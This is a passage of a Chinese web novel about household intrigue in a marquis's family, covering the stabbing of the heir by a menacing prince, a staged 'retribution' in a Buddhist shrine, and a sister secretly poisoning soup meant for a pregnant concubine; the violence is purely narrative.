银色的皮质手套，让他杀人不眨眼的时候，也是这般优雅矜贵。 楚翎曜身上应该是香香的吧，皂角混着松木的香气。 他身上的香气，足以掩盖苏明沛身上的尿骚味儿。 楚翎曜走到苏舒窈面前，勾起唇角，得意地仰起头，狭长的眸子闪过一抹星辰。 苏舒窈看明白了，他在炫耀，炫耀抓来的猎物。 苏舒窈：“......” “怎么？哑了？”楚翎曜的声音很好听，仿若清泉击石，有着少年独有的清亮。 完全不能想象，背地里，他竟然是这般骇人的嗜血疯批。 “说话。” 楚翎曜发出命令。 见苏舒窈神情寡淡闭口不言，楚翎曜眸中的得意之色更甚。 他终于在这个愚蠢的女人面前赢了一局。 苏舒窈完全不知道对方的想法，也不知道为什么他会把苏明沛绑到他面前。 苏舒窈叹了口气。 不是她不想说话，要是让苏明沛听出她的声音，明儿她就会被威远侯动私刑。 这真的是一个很大的麻烦。 楚翎曜从怀中摸出一把匕首，递到苏舒窈面前。 他的视线落在苏明沛右手上。 这只手，今天把苏舒窈拽痛了，还推倒了多宝阁，把房间弄得一地狼藉。 “砍了吧。” 苏舒窈：“......” 她终于知道为什么上一世，大家把楚翎曜叫做疯子了。 因为身份的原因，他视旁人的生命为草芥，对生命没有敬畏，只要不合他的意，他便毫不留情地下手。 不知道他小时候经历了什么，会变成这个样子？ 苏舒窈站着没动，视线从匕首上挪开。 楚翎曜冷嗤一声，默然收回手，然后手起刀落，一刀插进了苏明沛的屁股里。 “emm——” 苏明沛因为疼痛，发出一声闷响，但他不敢动，也不敢吵。 紧接着，楚翎曜拔出匕首，将血迹在苏明沛衣裳上擦干。 检查刀刃完全没有血迹之后，楚翎曜一步一步走到苏舒窈面前，再次把匕首递了过去。 苏舒窈：“......” 他在威胁她。 她要是再不接，他还会捅苏明沛一刀。 苏舒窈伸出手，无情地将他的手推开。 楚翎曜眸中闪过一丝森寒的戾气，转过身，举起匕首，利落地捅进了苏明沛另外半边屁股里。 苏明沛身体颤抖了一下，尿骚味更重了。 “呜呜呜——” 苏明沛好像哭了。 那个动不动就在苏舒窈面前大呼小叫，指天骂地的威远侯世子， 哭了。 苏舒窈双眼亮晶晶的，眼底闪过一丝狡黠。 她喜欢这个游戏。 她平时和霜染也会玩扔球的游戏，只不过这个游戏有些血腥，气味也不太好闻。 虽然她有些害怕，心跳很快，浑身汗毛倒竖，但她是喜欢的。 楚翎曜再次将匕首拔了出来，这一次，他没有在衣服上擦拭血迹，而是将匕首拿到苏明沛脖颈边擦拭。 苏明沛的身体再次剧烈抖动起来，抖了一会儿，晕了过去。 “他晕了。”楚翎曜站起身，走到苏舒窈面前，冷冷地盯着他，幽深的瞳孔藏着森然戾气。 再一次发出无声的嘲讽：人都晕了，可以说话了。 苏舒窈这才开口：“能不能别杀他？” 楚翎曜眼睛眯了起来，薄唇轻启：“伪善。” 明明那么恨苏明沛，他费尽心机把人弄来，她却想救他。 不过他没有不高兴，又找到苏舒窈的一个缺点，他抿了抿唇。 苏舒窈解释道：“他死在我房间里，会很麻烦。” 楚翎曜垂着眼眸，嘴里发出一声冷嗤。 他不信她。 在他看来，苏舒窈满嘴谎言，虚伪又浪荡。 如果他稍微分心，她又会抱他、亲他。 今天他必须打起精神，不能让她得逞。 想到这里，楚翎曜的耳尖泛起一丝薄红。 他再次把刀递了过去。 苏舒窈想了想，把匕首接了过来。 已经拒绝了两次，再次拒绝，会伤害她和楚翎曜之间好不容易建立起来的关系。 虽然这种关系不太能用语言说清楚，这种关系表面看起来扭曲、癫狂、甚至有些畸形。 但，仔细掰扯，这样的关系何尝不是一种亲密关系。 为了不伤害他们之间的关系，苏舒窈把匕首接了过来。 既然接了匕首，总要捅点什么东西。 她走到苏明沛面前，不知道该捅哪里，仔细观察了一番，对准之前楚翎曜捅出的刀痕，将匕首推了进去。 苏明沛再次发出一声闷哼，身体抖动了一下。 苏舒窈皱了皱眉，不知道苏明沛是真的晕了过去，还是假晕。 她把匕首拔了出来，轻轻甩掉上面的血迹。 楚翎曜的眉心微微皱起来，似乎对她没有擦拭匕首的行为感到不满。 苏舒窈抬起头，直勾勾看过去，“可以把他头上的刑具取了吗？” 第76章 很好亲 楚翎曜盯着她，没有说话。 苏舒窈解释道：“我不想让他死，我怕脏了你的手。” 楚翎曜眉头微微皱起。 这个理由让他觉得陌生，他们见面的次数加起来还不超过五次，她就开始为他着想了？ 再次轻嗤了一声：“本王戴了手套，脏不了。” 苏舒窈知道，虚情假意的关心根本不会说服对方，她说出心底的想法：“我想让他科举。” 楚翎曜眉间褶皱加深了些许。 真是愚蠢啊，不斩草除根，还留机会给对方，甚至盼着对方科举。 妇人之仁。 苏舒窈继续解释：“整个威远侯府，都在等着苏明沛科举入仕，当大官，赚大钱。等到有一天，他们发现苏明沛其实是个草包，科举连连落第，完全不是当官的料......那个时候，整个威远侯府主子的脸色应该会很好看吧。” “我想看他们在痛苦中煎熬，生不如死，苟延残喘的样子。” 楚翎曜的声音再次响起：“你废这么大劲，就为了看这个？” 苏舒窈：“这叫做诛心。” 一刀捅死，实在是太便宜他们了。 真正的惩罚，不是一刀捅死，而是看着他们从志得意满、充满希望，然后一点一点失望、追悔莫及、颓废潦倒，最后在绝望中死去...... 看着他起高楼，看着他楼塌了...... 肯定会很有趣。 楚翎曜显然不懂。 他拥有绝对力量，看谁不顺眼，直接就解决了。 没人敢在他面前犯蠢。 尽管不认同，他还是走到苏明沛身后，按下开关。 只听“吧嗒”一声响，漆黑的刑具被打开。 苏舒窈看清了，这个刑具设计精巧，里面有一排旋转的刀片，将人头锁住之后，能一刀切掉脑袋。 “这是改良过的血滴子。”楚翎曜拿着刑具走到苏舒窈面前，轻触机关，锋利的刀刃“哗”的一声，全部滑出。 他双手捧着血滴子，往苏舒窈头上放。 血滴子边缘不仅有血迹，还有一些不明液体，如果没猜错，应该是苏明沛的口水。 这一次，苏舒窈真的有被吓到。 她的呼吸变得急促，忍不住连续吞咽了好几次口水，才压制住干呕的冲动。 明明气氛很好，怎么又炸毛了？ 九殿下每次炸毛都毫无征兆，让她猝不及防。 苏舒窈扔下匕首，攀上楚翎曜的手。 她放软声音，轻轻哄道：“戴上这个，我就没办法吻殿下了。” 楚翎曜眸底一凉，反而加快了手上动作。 苏舒窈头皮一麻，千钧一发之际，忽然抱了上去，紧紧环住他的腰。 楚翎曜身体一僵，手上的动作终于停了下来。 这个法子百试不爽，每次他一炸毛，抱一抱，亲一亲就好了。 苏舒窈心底忽然冒出一个想法：九殿下弄出这么大的阵仗，其实是为了她的拥抱？ 她将头埋进他的怀中，深深吸了一口气。 九殿下真的好好闻。 怎么才能让这只野兽乖一点？ 能不能让他以后有什么要求直接说，别再搞出这么大的阵仗。 苏舒窈抬起头，盯着楚翎曜的唇瓣。 他的嘴唇偏薄，紧紧抿起，看起来很硬，实则很软，触感不错。 碰上去还会轻轻发抖。 苏舒窈知道，九殿下很好亲。 她的眼神直白、火热，她刚踮起脚，还没来得及仰头，却被一把推开。 “哐当”，血滴子落在地上，发出一声脆响。 等苏舒窈回过神来，旖旎氛围一扫而空，楚翎曜转身跑了。 瞬间变跑得无影无踪。 苏舒窈：“......” 怎么又逃了？ 她看了看地上的苏明沛，叹了口气。 九殿下每次来，都会留下东西，这回留下的东西，有些麻烦。 正当她思考怎么办的时候，门被敲响了。 秋霜的声音响起：“大小姐，发生什么事了，怎么那么吵？” 苏舒窈把门拉开一道缝：“把晴空和皓月叫来一下。” 等人到齐之后，苏舒窈将人带进屋，指着地上血肉模糊的苏明沛：“我需要处理一个大麻烦。” 秋霜吓得直接滑到地上坐着。 皓月也被吓得不轻，只有晴空还算镇定。 “大小姐，这、这是什么......” “大小姐，你手上拿的又是什么？” 秋霜吓得语无伦次，晴空和皓月一句话都没问。 苏舒窈怕苏明沛醒了，压低声音：“这是世子，你们想办法把他扔出去。” 秋霜眼吓得眼珠子差点掉下来。 大小姐昨儿在房里打死一只老鼠精，今儿把世子打死了？ 大小姐那么柔弱，怎么打得赢世子？ 难道这是鼠精变的？ 秋霜凑近一看，真是世子！ 这可怎么办？ 要是被夫人和侯爷知道了可怎么办？！ 秋霜胆子一横：“大小姐，我们把世子弄死吧，你要是怕，就、就让、让我来！” 嘴上说着弄死，全身都在颤抖，腿也软得站不稳。 苏舒窈将秋霜拉到怀里，轻轻安抚，“放心，他不知道伤他的人是我，你我都无需杀人。” 然后看向晴空：“能不能把他扔到万氏佛堂里？” 晴空点点头：“可以。” 苏舒窈招手，让晴空凑过来，小声交代。 交代完之后，晴空点点头，轻松地抄起苏明沛，走出院子。 秋霜趁着月色打扫屋子，重新拖了地，燃上香，又开窗通了风，房间里的异味总算消散了。 苏舒窈让秋霜把血滴子也洗了，专门用一个箱子装起来。 箱子里装的是九殿下遗失的物品，有短刀、长剑、剥皮刀，现在又多了一个血滴子。 苏舒窈有种自己成了杀人狂魔的感觉。 躺到床上，想了想这段时间和九殿下的互动，她总结了几点。 亲吻会让他逃跑，“亲”这个字眼，提也不能提。 牵手不会，拥抱有时候会，有时候不会。 哦，不对，拥抱的时候如果不惦记着亲吻，他也不会跑。 下一次再遇到，可以先牵手。 这样他就会留下来了。 等他适应了牵手和拥抱，到时候亲吻就能水到渠成了。 ~ 倚兰居角落，楚翎曜脸色发红，浑身发热。 他又被暗算了。 苏舒窈趁着他摆弄刑具的时候，又抱了他。 这回更过分，她一边抱着他，还胆大包天妄图再一次亲他。 楚翎曜低着头，看着身体某个地方的异常，只觉得全身怒火焚烧。 他竟然被这个满嘴谎言、伪善可耻的女子，勾出了肮脏的欲望。 第77章 报应 第二天一早，万氏直接带人抄了吴妈妈的家。 她完全没有考虑吴妈妈刚死，吴妈妈的女儿和男人还在府上做事。 万氏在吴妈妈家里搜出了一千二百两银子，外加金银首饰若干。 这些年，吴妈妈中饱私囊，吃拿卡要，可是积攒了不少家底，全被万氏给一锅端了。 吴妈妈的女儿红燕跪在地上哭求：“夫人，我母亲没有偷换府中的瓷器！要是偷换瓷器，怎么可才这点银子？！” “这些银钱是我们这些年省吃俭用攒下来的！夫人明鉴啊！” 庞妈妈一把把红燕拉开，护在万氏身前。 吴妈妈死后，庞妈妈一跃成为万氏身边最得力的妈妈。她上前淬了红燕一口：“就算没换瓷器，你一家子奴婢，哪里来的这么多银子首饰！！定然是偷盗侯府的！” 红燕继续哀嚎：“这些银子，除了我们一家的月例，还有夫人侯爷的赏赐，夫人，不能全部拿走啊！！” 万氏叹了口气：“念在吴妈妈跟了我一场，我也不想把你们发卖了，你们去庄子上吧。” 庞妈妈让人将红燕拖了出去：“夫人真是慈悲，这等藏奸的奴婢，不发卖，还给他们一次机会。” 万氏捂着胸口，念了句“阿弥陀佛”。 红燕被拖着，拼命把头转过来：“夫人你不能这样啊，夫人，我母亲帮你干了这么多缺德事，你完全不顾旧情，就不怕遭报应吗？！府上那么多姨娘都没有怀上，我可是知道......” 万氏眉心一皱，死死掐住手中的檀木佛珠。 庞妈妈立刻冲上去把红燕的嘴堵了，哐哐给了对方两耳光：“小蹄子胡说八道些什么？！” “夫人别放在心上，这小蹄子胡乱攀咬，我这就让人把她给毒哑了。” 万氏神情肃穆地摇了摇头：“伶牙俐齿的，毒哑了太可惜了。” 庞妈妈知道，万氏这是不希望红燕活下去了。 “夫人放心，我定让夫人满意。” 抄完吴妈妈的家，万氏回了春景园。 刚用完早膳，庞妈妈就回来了。她伏在万氏身边，小声道：“夫人慈悲，送红燕一家去了庄子上，但红燕命不好，马车摔下山崖，全死了。” 万氏满意地点了点头：“让人好好安葬了吧，侯府一向都是善待忠仆的。” 以往这种腌臜事，都是吴妈妈来办，现在看来，庞妈妈办得更好，也更妥帖。 庞妈妈应道：“夫人慈悲为怀，奴婢马上去办。” 处理了红燕一家，还抄了不少银子，万氏心情愉悦：“去，把苏舒窈给本夫人叫过来。” 吴妈妈的事处理完毕，万氏回过神才想起，吴妈妈的死打断了对苏舒窈的惩罚，她还一天祠堂都没跪。 好不容易逮到的机会，可不能这样轻易放过。 苏舒窈听到万氏召唤，便知，万氏还没发现苏明沛呢。 “走吧，咱一起去看看夫人的报应。” 苏舒窈来到春景园的时候，万氏手上捏着佛珠，端坐在首位。 见到人，万氏宛如上位者般发号施令：“舒窈，上次罚你跪祠堂，你一天也没跪，去，重新跪好吧。” 她看了眼苏舒窈身边的皓月和晴空：“我不是想罚你，这是侯府的规矩，咱侯府百年簪缨，规矩不可轻易破坏。” 皓月出声道：“夫人，祠堂那地方，大小姐就不去了吧。” 万氏：“皓月姑娘，丫鬟和外男私通，放到任何府上都不会轻饶，就算到长公主面前说理，本夫人也不会理亏。” 皓月笑道：“夫人，您误会了。奴婢的意思是，祠堂发生了那样的事，能不能让大小姐换个地方跪？” 苏舒窈淡淡一笑：“夫人，祠堂我是不敢去了。” 万氏想了想：“那就去小佛堂跪着吧。” 跪在她眼皮子下，她还能盯着。 “是。”苏舒窈乖顺地应下来。 庞妈妈赶紧上前引路：“大小姐，跟着奴婢来吧。” 离开前，苏舒窈转头问道：“夫人，今儿听说红燕咒骂夫人，夫人不仅没有罚她，还派人把她一家子送到了庄子上。结果红燕遭了报应，一家子全死了。” 万氏脸上浮现出一抹不悦：“你想说什么？” 苏舒窈淡淡一笑：“夫人信佛，我想问一问，黑心事做多了会遭报应的说法，是真的还是假的？” 万氏摩挲着手中佛珠：“当然是真的，人在做，天在看，我时常教育你们，做事要凭良心，不然什么时候遭了报应都不知道。报应不仅会落到己身，还会报应到至亲家人身上。” 苏舒窈点了点头：“我懂了。” 庞妈妈笑道：“夫人慈悲，方圆百里都找不到一个和夫人一样善良的夫人。” 苏舒窈：“夫人这般慈善，定然福泽连绵，福及子孙。” 万氏笑了笑，“去吧，跪着的时候，要诚心。” 苏舒窈走进小佛堂，跪在蒲团上。 金丝楠木制成的大型佛龛上，放着一只三足铜制香炉。 仔细观察就会发现，佛龛有些歪斜，佛龛后面好像抵了什么东西。 苏舒窈看了晴空一眼，晴空手指一弹，一块小石头从手中飞出，击中佛龛下脚。 紧接着，佛龛晃了两下，迎面朝着苏舒窈砸过来。 苏舒窈早有准备，从容不迫地躲避开来。 “哐当——”佛龛倒地。 紧接着，“咕咚”一声，一个全身捆绑，嘴上被堵着的男子从佛龛后面滚了出来。 “快来人啊！夫人的佛龛倒了！！” “佛龛后面有死人！！！” 庞妈妈带着人冲进小佛堂，看到苏明沛的那一刻，心脏提到了嗓子眼：“快，去叫夫人过来！” 万氏正躺在妃椅上，让小丫鬟捏腿。 听到动静，她马不停蹄往小佛堂赶，刚跨进小佛堂，就看到满地狼藉和血肉模糊的苏明沛。 “这、这是怎么回事？！” 苏舒窈装出一副受惊的样子，缩在秋霜怀里颤抖着身子：“夫人，我也不知道，我刚跪下，佛龛就倒了。” 皓月脆生生道：“哎呀，奴婢知道了，是夫人干了亏心事遭报应了，报应到世子身上来了！” “不然世子怎么会出现在小佛堂里，还是在佛龛后面！” 第78章 世子，二小姐要害你！ 万氏脸色一沉，她才说了有报应，马上就出了这档事。 这话要是传到外面去，可是会毁了她好不容易打造的名声。 她想骂人，可是皓月是长公主的人，轻易骂不得，沉声吩咐：“愣在这里干什么，还不快把世子的绑松了，让人去请医师！” 苏明沛全身是血，万氏被吓得不轻。 整个侯府的荣辱都寄托在明沛身上，明沛可千万不能有事！ 苏明沛被丫鬟们七手八脚抬进厢房，万氏亲自守在一边，亲手给苏明沛擦脸。 苏舒窈也在一旁看热闹：“夫人，世子身上怎么臭臭的？难不成有人在世子身上泼尿了。” 皓月：“应该不是，世子上半身没尿，只有裤子上有，这尿应该是世子自己拉的。” 万氏：“......” 她也闻到味儿了，血腥味儿混合尿骚味儿，发酵了一夜，熏得人眼睛都睁不开。 她扔开帕子，让丫鬟来伺候。 正在这时，苏明沛悠悠转醒过来。 苏舒窈赶紧道：“夫人亲手给世子擦拭，世子都感动得醒了。” 万氏想在苏明沛面前刷好感，只得忍着恶臭，重新拿起帕子。 医师很快来了，号脉检查之后道：“世子的伤看着严重，但并没有伤到要害，只是被吓得不轻，开点安神的药将养一段时日就行。” “这段时日，世子最好趴着，伤口要勤换药，把伤口晾在外面，天气热，不能捂坏了。” 医师离开后，万氏问道：“明沛，是什么人伤了你？” 苏明沛想起昨晚的遭遇，脊背发凉。 当时他正在读书，忽然油灯熄灭，他正要开口喊明画，头上就被套了一个奇怪的铁皮罩，铁皮罩里的刀片抵着喉咙，他就连吞咽口水，都必须很小心。 然后他就被绑了，不知道被人拖到了哪里。 绑匪的声音很陌生，他好像在哪里听过，一时想不起来了。 屁股被捅了两刀之后，他就晕了过去。 昨天晚上，他是真的觉得自己离死不远了。 万氏也感到一阵后怕：“你最近得罪了什么人？” 幸亏只是伤了屁股，没伤到手，还能继续科举。 万氏又念了两句“阿弥陀佛”。 苏明沛摇摇头。 他这些天安安静静在家读书，哪里都没去，什么人也没得罪。 唯一得罪的人，便是苏舒窈。 他昨天冲到苏舒窈院子里把她房间里的多宝阁给推了。 可是，昨晚绑他的，分明是个男子，苏舒窈这么柔弱，不可能能拖着他到处走。 苏舒窈也不会这么小气，就因为多宝阁上的赝品要他的命。 苏舒窈忽然开口道：“夫人，难道真的是报应？” “世子身上绳索捆绑的方式，和吴妈妈一样。”苏舒窈双手捧着胸口，眼睛睁得大大的：“吴妈妈刚死，红燕一家就遭遇不测，难道是吴妈妈冤魂索命......” 她脸上出现一抹戚容，唇角下弯，一双杏眼染上一抹水色，端的是胆小怯弱。 “夫人，要不要找道长来府上做做法事？先是吴妈妈，现在又是世子，就怕下一个轮到夫人......” 万氏怒骂：“闭嘴！” 大声呵斥并不能掩盖万氏的心虚，府上接二连三发生这么多怪事，她也很是心烦。 万氏一点也不相信报应。 如果世上有报应，她为什么还能有重生的际遇？ 如果世上有报应，她手上那么多人命，为什么活得好好的？ 报应，不过是下等人用来安慰自己的借口和统治阶级维持稳定的工具罢了。 报应没有，有人在侯府搞事是真。 万氏冷眼瞧着苏舒窈，苏舒窈瑟缩在秋霜怀里，看起来是真的害怕。 不是苏舒窈，那究竟是谁？ 谁那么大的胆子，敢在侯府搞事？ “去，把侯爷叫来。” 万氏看到威远侯的第一句话便是：“侯爷，此事定要报官。” 威远侯检查完苏明沛身上的伤，伸手阻止：“先别。” 堂堂威远侯府世子，被歹人绑了没什么，关键是被吓尿了，屁股还被捅两刀，传出去实在是丢人。 威远侯府丢不起这个人。 “这事我先让人暗中调查，官府来人少不得打点。”威远侯看着万氏：“红燕一家出了事，查起来也麻烦。” 府上死一两个奴婢，官府不会追究，但像这样一死死一家，传出去名声不太好。 再说了，打点官差也要不少银子。 万氏抿了抿唇：“妾身听侯爷的。侯爷，要不多请几个护卫？” 威远侯：“行，你拿一千两来，我去请护卫。” 万氏深吸一口气，差点被崩住。 请什么护卫需要一千两？ 她让人开了箱笼：“我这里只有两百两，侯爷先拿去，不够再说。” 威远侯皱眉：“不是刚抄了吴妈妈家吗？” 他可是听说了，吴妈妈家里抄了一千两百两出来，就给他两百两？ 打发叫花子呢？ 威远侯冷哼一声：“之前舒窈要赶吴妈妈的时候，你们偏要阻拦，现在好了，出了这么多事，又要本侯来处理！” “当初就该让舒窈一直管家，中馈抢过去，管又管不好！真是废物！” “明沛这事，肯定和吴妈妈也脱不了干系，你好好排查一下，谁平时和吴妈妈要好。现在红燕一家死了，我看这事还不会消停！” 万氏气的胸口胀痛。 这就是威远侯府的一家之主，出了事不想办法解决，惯会推卸责任，胡乱给家人定制罪名。 “庞妈妈，取一千两给侯爷。” 威远侯拿了银子，闭上嘴心满意足走了。 ~ 苏明沛被接到月姨娘的浮光阁静养。 听说苏明沛受了伤，苏明珠、苏明芷、苏明添专门过来探望了一番，苏明珠还亲手熬了补汤送过来。 苏明沛伤在屁股上，不敢吃太多，汤倒是可以多喝一点。 苏明珠送了两份汤来，一份是冬瓜排骨汤，给苏明沛养身体的，一份是给月姨娘养胎的花生猪蹄膀汤。 她送汤来的时候，千叮嘱万嘱咐，让月姨娘千万别把汤搞混了。 等苏明珠一走，月姨娘亲手端着那碗花生猪蹄膀汤，一勺一勺给苏明沛喂。 “还是二小姐贴心，知道以形补形，世子伤了下身，这猪蹄膀汤最是滋补。” 苏明沛喝了大半碗，刚擦了嘴，忽然就“哇哇”大吐起来。 这回下的药更猛，不是上次那种干呕，而是哇哇大吐，差点没把胆汁都给吐出来。 月姨娘大惊：“世子，二小姐想害你！” 第79章 虚假的兄妹情 月姨娘吓得手足无措，眼泪吧嗒吧嗒往下流，浑身都在颤抖：“世子......二小姐为什么要害你啊......呜呜呜......” 苏明沛屁股上挨了两刀，趴着的时候移动幅度都不敢过大，现在吐一下，便要扯着屁股的伤口痛一次。 不仅又痛又难受，还流了一滩血。 好不容易全部吐完，苏明沛跟丢了半条命似的。 月姨娘哭得像个泪人：“世子，你不是说二小姐最是心疼你的吗，世子，你是不是搞错了，二小姐明明就是要害你......” 苏明沛缓过劲来，眼神呆滞无神，脸色苍白地趴着：“明珠绝对不会害我的，是不是搞错了？明珠怎么可能害我？” 月姨娘颤抖着双唇，双手捧着那碗猪蹄膀汤：“这可是二小姐亲自送来的，还能有假？” “二小姐亲自送来的，世子难道还要怪到大小姐头上？” “世子，你该醒一醒了。” 苏明沛趴在床上，闭上眼睛，缓了好一会儿，才开口：“明珠送了几碗汤来？” 月姨娘：“两碗。” “还有一碗是什么，端过来。” 月姨娘让春杏把汤端来，一碗冬瓜排骨绿豆汤，绿豆和排骨软烂，冬瓜软硬合适，入口即化，看起来花了不少功夫。 苏明沛：“这碗汤喝过没有？” 月姨娘摇摇头：“没有，妾身不敢乱吃东西。” 苏明沛指着春杏：“你，把汤喝了。” 春杏：“......” 在侯府每天吃不饱就算了，还要试毒。 苏明沛怒道：“不听话卖去窑子里！” 春杏没办法，端起汤碗，浅浅喝了一口。 苏明沛：“怎么？有没有不舒服？想不想吐？” 春杏：“世子，奴婢只喝了一小口，什么感觉也没有。奴婢再喝一大口试试。” 说完，抱着汤碗咕吨咕吨喝起来。 这碗冬瓜排骨汤消暑解腻，正适合酷暑。春杏喝完汤，还吃了冬瓜和排骨。 最后打了个饱嗝，回禀道：“世子，一点感觉都没有。” 春杏舔了舔嘴唇，一副意犹未尽的表情。 来到侯府这么久，总算吃上一顿好的。 苏明沛又问：“明珠送汤来的时候，有没有说哪一份是给我的？” “奴婢不大记得了，当时来的人多，奴婢忙着给小姐少爷沏茶去了。”春杏挠了挠头：“哎哟，奴婢想起来了，那碗猪蹄膀汤，好像是给姨娘的！这碗冬瓜排骨汤才是给世子的！” 这个时候，苏明沛总算明白了，苏明珠要害的人，是月姨娘，不是他。 月姨娘扑到苏明沛身上，身子抖成了筛糠：“世子，为什么二小姐要害妾身，妾身和二小姐无冤无仇......” 苏明沛脸色铁青。 他想破脑袋也没想到，要害他一生挚爱的人，竟然是他最疼爱的妹妹。 阿梨肚子里的，很有可能是他两世以来，唯一的子嗣。 明珠怎么这般残忍？！ 苏明沛屁股受了伤，动不了，要是行动自如，现在已经冲到苏明珠院子里发疯去了。 他叫人进来：“去，查查，看看苏明珠在干什么？” ~ 苏明珠看着多宝阁上的山寨瓷器，心里憋闷。 她原本也打算卖两样换钱的，没想到全是假货！ 没钱在侯府真是寸步难行，丫鬟们看她没银子，干活积极性也不高。每天吃水煮菜，吃得她脸都绿了。 只有早点干掉月姨娘，日子才能宽裕起来。 苏明沛受伤，正是干掉月姨娘的好时机，这一回，苏明珠把药下得重了一点。 下完药，她让人留心浮光阁的举动，自己去了苏明添院子里。 苏明沛是文官，苏明添是武将，两个哥哥的爱，她都要牢牢抓在手里。 这一世，很多事都和上一世不一样了。 尤其是苏明沛，状况频出。 她是真的担心苏明沛科举落榜。 苏明添那边，可不能怠慢了。 她端了碗绿豆汤给苏明添送了过去：“二哥哥，暑热喝点汤吧。” 丫鬟打开食盒，把绿豆汤端了出来。 苏明添看了一眼绿豆汤。 给大哥送的是冬瓜排骨绿豆汤，到他这里只得绿豆汤，这绿豆怕不是大哥那碗汤里剩下的。 明珠看出苏明添眼中的不悦，忙解释道：“二哥哥，大哥的汤是母亲出银子熬的，这碗汤，可是妹妹我的心意。” “最近暑热难消，二哥哥又要练武，妹妹囊中羞涩，只能送二哥哥一点绿豆汤尝尝。” 翠红开口道：“二少爷，这绿豆汤可是二小姐亲自守着熬的。” 苏明珠看了眼翠红：“在主子面前，谁让你胡说八道的。” 苏明添这才露出一抹笑意：“那就多谢明珠妹妹了。来人，再拿一副碗勺，我们兄妹俩把这碗绿豆汤分食了吧。” 苏明珠没再推辞，坐下和苏明添一起喝绿豆汤。 苏明沛和苏明添两兄弟，明明大哥才是文官，但性格莽撞得很，二哥这个武将，心思却极其细腻，老是爱多想。 什么时候得罪了二哥哥都不知道。 “听说二哥哥明儿要去西山狩猎？” 上一世，苏明添狩猎摔断了腿，医治了半年都没好，差点误了前程。 但上一世这个时候，她还没回府，具体发生了什么，她不太清楚。 听说是苏舒窈找神医医好了苏明沛的腿。 这一世，苏明珠打算提前预警：“听说西山常常有猛兽出没，之前还有熊瞎子吃人的传言。” 绿豆汤本来就不多，苏明添一口气喝了大半碗：“明珠妹妹是什么意思？” 苏明珠：“妹妹觉得危险，二哥哥还是不去了吧。” 苏明添放下碗，抬手抹了一下嘴上水渍：“那可是恭王世子相邀。” 只要武艺入了恭王世子的眼，是能被举荐进入金吾卫任职的。 更别说跟着恭王世子，天天有肉吃，顿顿有酒喝。 这些日子在侯府吃水煮菜，他都快疯了。 这一趟，他是非去不可的。 苏明珠见劝不动：“二哥哥，记得要注意安全，如果遇到危险，一定不要逞强。” 苏明添脸上再次浮现出一丝不满：“妹妹看不起我？” “没有，妹妹怎么会看不起二哥哥？”苏明珠眼睫一颤，眼眶便红了：“在妹妹心中，二哥哥最是骁勇善战、智圆行方，妹妹就没见到过比二哥哥还厉害的男子，妹妹最崇拜的男子，便是二哥哥这样的。” “妹妹只是担心二哥哥罢了。” 苏明添听了这些吹捧，果然心情大好。 但苏明沛那边，情况不太妙。 “你是说，明珠专门给二弟熬了绿豆汤，还夸二弟是世上最勇猛机智的男子？” 第80章 不育 明画小鸡啄米般点头：“是的，世子。” 苏明沛趴在榻上，双手拽着床单，神情严肃。 苏明珠这是觉得他废了？ 开始转头讨好二弟了？ “从今天开始，我要闭门读书，苏明珠上门，也拦了。” “苏明珠送来的吃食，一律倒去喂狗！” “阿梨，你搬到本世子院子里去！” “世子，妾身不明，为什么二小姐要置妾身于死地啊？”月姨娘摸着胸口，身子微微发颤：“难不成是因为银钱？” “妾身细想了一下，妾身什么都没有，就只有那黄白之物能引得二小姐起杀心。” “二小姐如果要钱，可以直说的，为什么要妾身的命，呜呜~~” 月姨娘捂着肚子，伤心得差点哭晕过去。 苏明沛看着月姨娘破碎的样子，心痛难耐：“阿梨，苏明珠不是为了你的银钱！” 他的语气非常坚定。 月姨娘停止抽泣，抬起头看了他一眼：“那是为了什么？” 苏明沛冷笑一声：“当然是为了本世子的婚事。” 苏明珠不过是觉得阿梨影响了他的婚事罢了。 有了阿梨，不仅是唐氏，一般贵女都不肯嫁入侯府。 苏明珠定然是想为他谋划一份好婚事。 啧，苏舒窈那边刚消停，苏明珠又开始了。 苏明珠不是坚信他能靠自己扶摇直上的吗？ 现在又是在干什么？ 让他这一世再背负上“靠妻族”的名声？ 说到底，还是不够相信罢了。 他定要用实力证明，就算不娶高门女，他也定能官运亨通一飞冲天！ 月姨娘则有点麻。 苏明沛真是一头大蠢猪，苏明珠明明就是贪图她的嫁妆银子，关他的婚事什么事儿？！ 落魄侯府世子，一穷二白，前途一片渺茫，就算没有身怀六甲的贵妾，也不会有贵女脑子进水了想嫁进来。 月姨娘闭上眼睛，差点没忍住爆粗口。 连续深吸了好几口气，才缓过来：“那怎么办？要不，世子把我休了吧，这侯府，妾身是待不下去了......” 苏明沛：“阿梨，你放心，我定会护你周全！” 他倒要看看，他今后飞黄腾达，苏明珠想起今天的所作所为，会不会追悔莫及？！ “你明日到苏舒窈那里去走动走动。” 既然苏明珠背叛他，他的偏爱，不再留给苏明珠了。 月姨娘：“......” 大小姐根本不稀罕你的偏爱好不好！ 真是一头蠢驴...... 不过转念一想，苏明沛要是不蠢，怎么会娶她进门当贵妾？ ~ 第二天，月姨娘来到倚兰居门口。 苏舒窈正在用小鱼干逗猫。 霜染被抱得太久，有些生气，藏在床下，怎么也不肯出来， 看见食物也不为所动。 一双圆溜溜的眼睛在床底闪着亮光。 不能抱太紧，抱多了要跑。 几天不抱，又会主动上前求抱。 和九殿下好像。 苏舒窈觉得好笑，继续好声好气地哄着。 没一会儿，秋霜进来：“大小姐，月姨娘来了，听说是世子让她过来的。” 苏舒窈站起来，接过帕子擦了擦手：“让姨娘去厢房等着。” 倚兰居的厢房放了一盆冰，月姨娘刚坐下，便觉得清爽无比。 “大小姐这里虽然小了些，可真是不错。” 苏舒窈笑道：“姨娘既然这么喜欢，不妨留下来用了午膳才走。” “那妾身便却之不恭了。” 喝了半盏茶，月姨娘看了眼苏舒窈身后的两个丫鬟，眼神有些复杂。 苏舒窈：“姨娘有话放心说，她们都是自己人。” 月姨娘轻声将苏明珠下毒，苏明沛知道的事说了：“世子现在啊，都不让二小姐上门探望了。” “世子说了，大小姐心善，让妾身多和大小姐来往。” 苏舒窈淡淡一笑：“苏明沛当我是什么？他想要就要，不想要就打？” “妾身也是这样说的，但世子固执，妾身也无可奈何。” “月姨娘今儿前来，是为何事？” 月姨娘摸着肚子，抬头看过去。 既然大小姐让她进门，便说明她通过了大小姐的考验。 月姨娘也不拐弯抹角，开门见山道：“稚子无辜，妾身只想把孩子平安生下来，其他的，妾身可管不了。” 只要一举得男，她的下半辈子就不愁了。 苏明沛就算去死，也不关她事。 聪明人说话，点到即止。 苏舒窈淡淡扬了扬眉：“月姨娘可真洒脱。” 